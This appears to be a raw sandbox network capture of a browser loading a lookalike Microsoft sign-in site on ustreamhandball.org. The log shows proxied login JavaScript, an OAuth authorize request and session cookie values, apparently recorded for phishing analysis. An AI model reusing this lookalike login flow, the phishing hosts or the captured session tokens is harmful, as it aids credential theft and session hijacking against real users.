x-ms-version: 2009-09-19 Content-Length: 142534 Connection: close
2025-01-09 23:21:18 UTC	16383	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2025-01-09 23:21:18 UTC	16383	IN	Data Raw: 65 22 27 2c 27 22 62 6c 61 63 6b 22 27 2c 27 22 77 68 69 74 65 22 27 5d 2e 69 6e 64 65 78 4f 66 28 72 29 2c 74 68 65 6d 65 3a 6f 7d 7d 2c 67 65 74 48 69 67 68 43 6f 6e 74 72 61 73 74 54 68 65 6d 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 72 28 65 2c 74 2c 6e 2c 72 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 52 65 67 45 78 70 28 22 5e 72 67 62 61 3f 5c 5c 28 22 2b 74 2b 22 2c 5c 5c 73 3f 22 2b 6e 2b 22 2c 5c 5c 73 3f 22 2b 72 2b 22 28 2c 5c 5c 73 3f 5c 5c 64 2b 5c 5c 2e 3f 5c 5c 64 2a 29 3f 5c 5c 29 24 22 2c 22 69 22 29 2e 74 65 73 74 28 65 2e 74 72 69 6d 28 29 29 7d 66 6f 72 28 76 61 72 20 6f 3d 30 3b 6f 3c 74 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 6f 5d 2e 73 Data Ascii: e"','"black"','"white"'].indexOf(r),theme:o}},getHighContrastTheme:function(){function e(e,t,n){function r(e,t,n,r){return new RegExp("^rgba?\$"+t+",\\s?"+n+",\\s?"+r+"(,\\s?\\d+\\.?\\d*)?\$$","i").test(e.trim())}for(var o=0;o<t.length;o++){var i=t[o].s
2025-01-09 23:21:18 UTC	16383	IN	Data Raw: 4f 4e 45 4e 55 4d 42 45 52 5f 54 4f 4f 4c 4f 4e 47 3a 22 38 30 30 34 35 38 30 37 22 2c 50 50 5f 45 5f 4d 4f 42 49 4c 45 43 52 45 44 53 5f 50 48 4f 4e 45 4e 55 4d 42 45 52 5f 49 4e 56 41 4c 49 44 3a 22 38 30 30 34 35 38 30 30 22 2c 50 50 5f 45 5f 4e 41 4d 45 5f 42 4c 41 4e 4b 3a 22 38 30 30 34 31 31 30 30 22 2c 50 50 5f 45 5f 45 4d 41 49 4c 5f 49 4e 43 4f 4d 50 4c 45 54 45 3a 22 38 30 30 34 31 31 30 44 22 2c 50 50 5f 45 5f 45 4d 41 49 4c 5f 49 4e 56 41 4c 49 44 3a 22 38 30 30 34 31 31 30 42 22 2c 50 50 5f 45 5f 4e 41 4d 45 5f 54 4f 4f 5f 53 48 4f 52 54 3a 22 38 30 30 34 31 31 30 31 22 2c 50 50 5f 45 5f 4e 41 4d 45 5f 49 4e 56 41 4c 49 44 3a 22 38 30 30 34 31 31 30 33 22 2c 50 50 5f 45 5f 49 4e 56 41 4c 49 44 41 52 47 3a 22 38 30 30 34 38 33 38 38 22 2c 50 Data Ascii: ONENUMBER_TOOLONG:"80045807",PP_E_MOBILECREDS_PHONENUMBER_INVALID:"80045800",PP_E_NAME_BLANK:"80041100",PP_E_EMAIL_INCOMPLETE:"8004110D",PP_E_EMAIL_INVALID:"8004110B",PP_E_NAME_TOO_SHORT:"80041101",PP_E_NAME_INVALID:"80041103",PP_E_INVALIDARG:"80048388",P
2025-01-09 23:21:18 UTC	3	IN	Data Raw: 28 22 20 Data Ascii: ("
2025-01-09 23:21:18 UTC	16383	IN	Data Raw: 22 29 7d 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 69 3d 7b 5f 5f 70 72 6f 74 6f 5f 5f 3a 5b 5d 7d 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 2c 66 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 2c 70 3d 7b 7d 2c 68 3d 7b 7d 3b 70 5b 63 26 26 2f 46 69 72 65 66 6f 78 5c 2f 32 2f 69 2e 74 65 73 74 28 63 2e 75 73 65 72 41 67 65 6e 74 29 3f 22 4b 65 79 62 6f 61 72 64 45 76 65 6e 74 22 3a 22 55 49 45 76 65 6e 74 73 22 5d 3d 5b 22 6b 65 79 75 70 22 2c 22 6b 65 79 64 6f 77 6e 22 2c 22 6b 65 79 70 72 65 73 73 22 5d 2c 70 2e 4d 6f 75 73 65 45 76 65 6e 74 73 3d 22 63 6c 69 63 6b 20 64 62 6c 63 6c 69 63 6b 20 6d 6f 75 73 65 64 6f 77 6e 20 6d 6f 75 73 65 75 70 Data Ascii: ")}var o=Object.prototype.hasOwnProperty,i={__proto__:[]}instanceof Array,f="function"==typeof Symbol,p={},h={};p[c&&/Firefox\/2/i.test(c.userAgent)?"KeyboardEvent":"UIEvents"]=["keyup","keydown","keypress"],p.MouseEvents="click dblclick mousedown mouseup
2025-01-09 23:21:18 UTC	16383	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 6e 2c 72 2c 6f 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 65 28 29 2c 6e 2e 61 70 70 6c 79 28 72 2c 6f 7c 7c 5b 5d 29 7d 66 69 6e 61 6c 6c 79 7b 74 28 29 7d 7d 2c 71 61 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6e 29 72 65 74 75 72 6e 20 6e 2e 6f 2e 71 61 28 29 7d 2c 56 61 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6e 29 72 65 74 75 72 6e 20 6e 2e 6f 2e 56 61 28 29 7d 2c 59 61 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6e 29 72 65 74 75 72 6e 20 6e 2e 59 61 7d 2c 6f 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6e 29 72 65 74 75 72 6e 20 6e 2e 6f 7d 7d 7d 28 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 22 2c 53 2e 53 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 67 65 74 44 65 70 65 Data Ascii: function(n,r,o){try{return e(),n.apply(r,o\|\|[])}finally{t()}},qa:function(){if(n)return n.o.qa()},Va:function(){if(n)return n.o.Va()},Ya:function(){if(n)return n.Ya},o:function(){if(n)return n.o}}}(),S.b("computedContext",S.S),S.b("computedContext.getDepe
2025-01-09 23:21:18 UTC	16383	IN	Data Raw: 3a 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 7d 2c 70 61 72 73 65 42 69 6e 64 69 6e 67 73 53 74 72 69 6e 67 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 74 72 79 7b 76 61 72 20 6f 2c 69 3d 74 68 69 73 2e 6e 64 2c 61 3d 65 2b 28 72 26 26 72 2e 76 61 6c 75 65 41 63 63 65 73 73 6f 72 73 7c 7c 22 22 29 3b 69 66 28 21 28 6f 3d 69 5b 61 5d 29 29 7b 76 61 72 20 73 2c 75 3d 22 77 69 74 68 28 24 63 6f 6e 74 65 78 74 29 7b 77 69 74 68 28 24 64 61 74 61 7c 7c 7b 7d 29 7b 72 65 74 75 72 6e 7b 22 2b 53 2e 6d 2e 76 62 28 65 2c 72 29 2b 22 7d 7d 7d 22 3b 73 3d 6e 65 77 20 46 75 6e 63 74 69 6f 6e 28 22 24 63 6f 6e 74 65 78 74 22 2c 22 24 65 6c 65 6d 65 6e 74 22 2c 75 29 2c 6f 3d 69 5b 61 5d 3d 73 7d 72 65 74 75 72 6e 20 6f 28 74 2c 6e 29 7d 63 61 74 63 68 28 63 29 Data Ascii: :return null}},parseBindingsString:function(e,t,n,r){try{var o,i=this.nd,a=e+(r&&r.valueAccessors\|\|"");if(!(o=i[a])){var s,u="with($context){with($data\|\|{}){return{"+S.m.vb(e,r)+"}}}";s=new Function("$context","$element",u),o=i[a]=s}return o(t,n)}catch(c)
2025-01-09 23:21:18 UTC	16383	IN	Data Raw: 20 72 3d 30 3c 3d 53 2e 61 2e 41 28 70 2c 53 2e 77 2e 4d 28 6e 5b 30 5d 29 29 3b 53 2e 61 2e 5a 63 28 6e 5b 30 5d 2c 72 29 2c 68 26 26 21 72 26 26 53 2e 75 2e 47 28 53 2e 61 2e 46 62 2c 6e 75 6c 6c 2c 5b 65 2c 22 63 68 61 6e 67 65 22 5d 29 7d 7d 76 61 72 20 73 3d 65 2e 6d 75 6c 74 69 70 6c 65 2c 75 3d 30 21 3d 65 2e 6c 65 6e 67 74 68 26 26 73 3f 65 2e 73 63 72 6f 6c 6c 54 6f 70 3a 6e 75 6c 6c 2c 63 3d 53 2e 61 2e 66 28 74 28 29 29 2c 6c 3d 6e 2e 67 65 74 28 22 76 61 6c 75 65 41 6c 6c 6f 77 55 6e 73 65 74 22 29 26 26 6e 2e 68 61 73 28 22 76 61 6c 75 65 22 29 2c 64 3d 6e 2e 67 65 74 28 22 6f 70 74 69 6f 6e 73 49 6e 63 6c 75 64 65 44 65 73 74 72 6f 79 65 64 22 29 3b 74 3d 7b 7d 3b 76 61 72 20 66 2c 70 3d 5b 5d 3b 6c 7c 7c 28 73 3f 70 3d 53 2e 61 2e 4d 62 28 Data Ascii: r=0<=S.a.A(p,S.w.M(n[0]));S.a.Zc(n[0],r),h&&!r&&S.u.G(S.a.Fb,null,[e,"change"])}}var s=e.multiple,u=0!=e.length&&s?e.scrollTop:null,c=S.a.f(t()),l=n.get("valueAllowUnset")&&n.has("value"),d=n.get("optionsIncludeDestroyed");t={};var f,p=[];l\|\|(s?p=S.a.Mb(
2025-01-09 23:21:18 UTC	16383	IN	Data Raw: 28 74 2c 6e 2c 72 2c 6f 29 7b 69 66 28 6f 3d 6f 7c 7c 75 2c 72 3d 72 7c 7c 7b 7d 2c 32 3e 65 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 59 6f 75 72 20 76 65 72 73 69 6f 6e 20 6f 66 20 6a 51 75 65 72 79 2e 74 6d 70 6c 20 69 73 20 74 6f 6f 20 6f 6c 64 2e 20 50 6c 65 61 73 65 20 75 70 67 72 61 64 65 20 74 6f 20 6a 51 75 65 72 79 2e 74 6d 70 6c 20 31 2e 30 2e 30 70 72 65 20 6f 72 20 6c 61 74 65 72 2e 22 29 3b 76 61 72 20 69 3d 74 2e 64 61 74 61 28 22 70 72 65 63 6f 6d 70 69 6c 65 64 22 29 3b 72 65 74 75 72 6e 20 69 7c 7c 28 69 3d 74 2e 74 65 78 74 28 29 7c 7c 22 22 2c 69 3d 6c 2e 74 65 6d 70 6c 61 74 65 28 6e 75 6c 6c 2c 22 7b 7b 6b 6f 5f 77 69 74 68 20 24 69 74 65 6d 2e 6b 6f 42 69 6e 64 69 6e 67 43 6f 6e 74 65 78 74 7d 7d 22 2b 69 2b 22 7b 7b 2f 6b 6f 5f 77 Data Ascii: (t,n,r,o){if(o=o\|\|u,r=r\|\|{},2>e)throw Error("Your version of jQuery.tmpl is too old. Please upgrade to jQuery.tmpl 1.0.0pre or later.");var i=t.data("precompiled");return i\|\|(i=t.text()\|\|"",i=l.template(null,"{{ko_with $item.koBindingContext}}"+i+"{{/ko_w
2025-01-09 23:21:18 UTC	11467	IN	Data Raw: 72 44 61 74 61 7c 7c 7b 7d 2c 66 3d 61 2e 4f 62 6a 65 63 74 2c 70 3d 73 2e 51 75 65 72 79 53 74 72 69 6e 67 3b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 6e 3d 21 31 21 3d 3d 28 65 3d 65 7c 7c 7b 7d 29 2e 63 68 65 63 6b 41 70 69 43 61 6e 61 72 79 2c 61 3d 65 2e 77 69 74 68 43 72 65 64 65 6e 74 69 61 6c 73 7c 7c 21 31 2c 73 3d 65 2e 62 72 65 61 6b 43 61 63 68 65 7c 7c 21 31 2c 68 3d 65 2e 72 65 73 70 6f 6e 73 65 54 79 70 65 7c 7c 22 22 2c 67 3d 65 2e 6e 6f 74 69 66 79 4f 6e 43 6c 69 65 6e 74 41 62 6f 72 74 7c 7c 21 31 2c 6d 3d 6c 2e 53 65 72 76 65 72 44 61 74 61 2e 66 53 61 73 45 6e 64 41 75 74 68 50 6f 73 74 54 6f 47 65 74 53 77 69 74 63 68 2c 76 3d 6c 2e 53 65 72 76 65 72 44 61 74 61 2e 66 46 69 78 Data Ascii: rData\|\|{},f=a.Object,p=s.QueryString;e.exports=function(e){var t=this,n=!1!==(e=e\|\|{}).checkApiCanary,a=e.withCredentials\|\|!1,s=e.breakCache\|\|!1,h=e.responseType\|\|"",g=e.notifyOnClientAbort\|\|!1,m=l.ServerData.fSasEndAuthPostToGetSwitch,v=l.ServerData.fFix

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	49897	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:18 UTC	509	OUT	GET /ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js HTTP/1.1 Host: aadcdn.ustreamhandball.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
2025-01-09 23:21:19 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:19 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-09 23:21:19 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-09 23:21:19 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-09 23:21:19 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-09 23:21:19 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:19 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/x-javascript
2025-01-09 23:21:19 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 2c 20 30 39 20 4a 61 6e 20 32 30 32 35 20 32 33 3a 32 31 3a 31 38 20 47 4d 54 0d 0a Data Ascii: Date: Thu, 09 Jan 2025 23:21:18 GMT
2025-01-09 23:21:19 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 38 37 36 43 42 31 44 36 37 42 39 32 39 0d 0a Data Ascii: Etag: 0x8D876CB1D67B929
2025-01-09 23:21:19 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 54 68 75 2c 20 32 32 20 4f 63 74 20 32 30 32 30 20 32 30 3a 34 33 3a 32 31 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Thu, 22 Oct 2020 20:43:21 GMT
2025-01-09 23:21:19 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	49896	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:18 UTC	639	OUT	GET /ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js HTTP/1.1 Host: aadcdn.ustreamhandball.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://login.ustreamhandball.org sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://login.ustreamhandball.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:21:19 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:19 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-09 23:21:19 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-09 23:21:19 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-09 23:21:19 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-09 23:21:19 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:19 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/x-javascript
2025-01-09 23:21:19 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 2c 20 30 39 20 4a 61 6e 20 32 30 32 35 20 32 33 3a 32 31 3a 31 39 20 47 4d 54 0d 0a Data Ascii: Date: Thu, 09 Jan 2025 23:21:19 GMT
2025-01-09 23:21:19 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 41 35 39 34 34 41 34 46 46 32 35 38 45 0d 0a Data Ascii: Etag: 0x8DA5944A4FF258E
2025-01-09 23:21:19 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 54 75 65 2c 20 32 38 20 4a 75 6e 20 32 30 32 32 20 32 30 3a 32 37 3a 33 38 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Tue, 28 Jun 2022 20:27:38 GMT
2025-01-09 23:21:19 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	49906	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:19 UTC	2946	OUT	GET /common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl&ui_locales=en-US&mkt=en-US&client-request-id=6d79123f-f278-4173-b566-f561b534f115&state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true HTTP/1.1 Host: login.ustreamhandball.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl&ui_locales=en-US&mkt=en-US&client-request-id=6d79123f-f278-4173-b566-f561b534f115&state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60; fpc=Aq076Fa4imlIlpYE2a8YmJI; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFe7v7KWL8es3B94M8P1iGwAAQsE70-Fuz_Z0gcmPHmsc4irw2USTUPY4Th9vWuwKZzXV1VMyznEPGushB3ka8zy3dJj2UJomsYQ-oCKUpk4878VLPYhrNVgbLXJkdSOWhNjTfB0_-0petHtfmqnZXCcRfkHg-EKX9AxN-YvDRc7v0gAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-LeV4WHyApcs=AQABCQEAAABVrSpeuWamRam2jAF1XRQEXraNLVT8pT-llCxQqNtwkLOS2w2J3zJNjfpOCr-yfUdqz1Vp62dBI0QKQ-va2M0SXuIytEPZa78R7MiSxmtxpLeK0IpD4yEU59dD5R5a7DHxkhE7SFg8xdzRZy67x2XV4LgbWotuDtJ99rSrGKiqlSAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
2025-01-09 23:21:20 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:20 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2025-01-09 23:21:20 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:20 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: text/html; charset=utf-8
2025-01-09 23:21:20 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 2c 20 30 39 20 4a 61 6e 20 32 30 32 35 20 32 33 3a 32 31 3a 31 39 20 47 4d 54 0d 0a Data Ascii: Date: Thu, 09 Jan 2025 23:21:19 GMT
2025-01-09 23:21:20 UTC	13	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a Data Ascii: Expires: -1
